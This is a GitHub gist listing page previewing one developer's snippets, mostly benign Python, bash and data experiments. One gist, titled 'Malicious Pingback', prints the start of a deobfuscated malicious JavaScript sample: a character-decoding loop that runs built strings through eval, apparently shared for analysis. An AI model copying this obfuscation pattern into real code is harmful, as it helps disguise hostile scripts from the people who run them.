Skip to content

Instantly share code, notes, and snippets.

View mikeboers's full-sized avatar

Mike Boers mikeboers

View GitHub Profile
@mikeboers
mikeboers / results.txt
Last active January 1, 2024 11:44
Comparing speed of reading video frames via a subprocess, or via PyAV
2013-10-05 10:19:59 mikeboers@maxwell: ~/Documents/Python/PyAV
$ time python video_frames_via_pipe.py
real 0m0.564s
user 0m0.729s
sys 0m0.241s
2013-10-05 10:20:01 mikeboers@maxwell: ~/Documents/Python/PyAV
$ time python video_frames_via_pyav.py
@mikeboers
mikeboers / graph.py
Created November 7, 2013 19:41
Graph the corresponding pixel values in a sequence of images to assert linearity.
from __future__ import division
from argparse import ArgumentParser
import math
import os
import sys
import matplotlib.pyplot as plt
import numpy as np
import cv2
@mikeboers
mikeboers / classproperty.py
Created November 17, 2013 22:18
Toying with the idea of a `classproperty` in Python.
# Lets define a `classproperty` such that it works as a property on both
# an object and it's type:
class classproperty(object):
__slots__ = ('getter', )
def __init__(self, getter):
self.getter = getter
@mikeboers
mikeboers / .bashrc
Last active December 31, 2015 07:29
Autocomplete of Python package/module names
function pym {
python -m $@
}
function _pym_complete {
local executable current previous options
executable=${COMP_WORDS[0]}
current="${COMP_WORDS[COMP_CWORD]}"
previous="${COMP_WORDS[COMP_CWORD-1]}"
@mikeboers
mikeboers / puzzle.txt
Last active February 9, 2016 07:36
Solving a wordsearch by mining Wikipedia.
LAHLERIRAHLEDDIKWKT
CNANOCIESRRAUNAFAOG
WKRGGVREGAASNSESLRB
TETEUAEGNLWOGNTKDET
IUHLUHTCITDSERIAAAA
RECKSUPERHEROEWSRRC
EATCTVNCEANRNETGTKK
NBAOAENNHRFAPMAKHEY
IKGPREDATORTARRLVRR
LSYSKCRVFHNSYYIAATU
@mikeboers
mikeboers / stdout.txt
Created August 23, 2014 17:25
Testing Shotgun threading
$ python threaded_dump.py
..
2 in 1.157s (578.617ms each)
...............
17 in 3.286s (193.311ms each)
................
33 in 4.767s (144.452ms each)
@mikeboers
mikeboers / gist:678cd3bf00046eecc457
Created November 20, 2014 16:09
Password attempts to SSH server
This is lifted from http://w8rbt.org/patches/results.txt
which is not up at time of tweeting.
// Average brute-force attempts per year
6,803,663
// Average brute-force attempts per day
18,640
// Top ten complex frequent passwords
@mikeboers
mikeboers / de-obfuscated.js
Last active August 29, 2015 14:16
Malicious Pingback
var qi = "",
ri = "",
ui, si = new Array(),
ti;
function oi(pi) {
for (ui = 0; ui < ti.length; ui++) si[ui] = ti.charCodeAt(ui);
ui = "ui=49;do{if(ui<2)break;si[ui]=(((-((si[ui]-51)&0xff))&0xff)+si[50])&0xff;ui--;}while(true);";
eval(ui);
ui = 48;
@mikeboers
mikeboers / keybase.md
Last active August 29, 2015 14:21
Keybase proof

Keybase proof

I hereby claim:

  • I am mikeboers on github.
  • I am mikeboers (https://keybase.io/mikeboers) on keybase.
  • I have a public key whose fingerprint is 9F79 893F 1D13 9C88 86F3 66AD AF8A 1CD7 EAD0 90C4

To claim this, I am signing this object:

@mikeboers
mikeboers / epic.py
Created July 22, 2016 16:58
Downloader for NASA's DSCOVR EPIC images
import argparse
import datetime
import json
import os
import re
import requests
parser = argparse.ArgumentParser()